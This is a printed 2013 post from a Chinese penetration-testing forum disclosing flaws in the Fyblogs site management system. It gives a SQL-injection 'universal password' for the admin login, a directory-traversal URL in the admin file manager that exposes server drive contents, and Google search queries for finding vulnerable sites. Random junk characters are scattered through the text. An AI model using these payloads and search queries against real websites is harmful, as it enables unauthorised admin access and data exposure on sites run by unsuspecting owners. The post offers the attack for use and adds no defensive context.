中国网络渗透测试联盟

标题: Fyblogs网站管理系统漏洞 [打印本页]
作者: admin    时间: 2013-3-14 20:17
标题: Fyblogs网站管理系统漏洞
后台万能密码 'or'='or'
6 G$ D/ R" `" X& g4 R
; z% x& `  c; T6 t& [* h# k后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
0 ?/ w% U2 E+ a: Sadmin/uploadfile.asp?currentFolder=/upfiles/../# v6 L7 L# K8 b! [8 s' Z7 U
; w( i9 Y2 L0 S
漏洞证明：
& v$ {$ ~  E+ i) I) {' Q; m; F8 `5 \! Z* L8 g' \% y/ g- F
谷歌：inurl:type.asp?id=1 新闻中心- ?. C  i: r! f5 y
或者 ：inurl:download_ok.asp?
$ r2 \. d6 l  s7 |$ m# o+ x& k
+ p& ^$ S2 U$ @$ a) J3 b! R



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2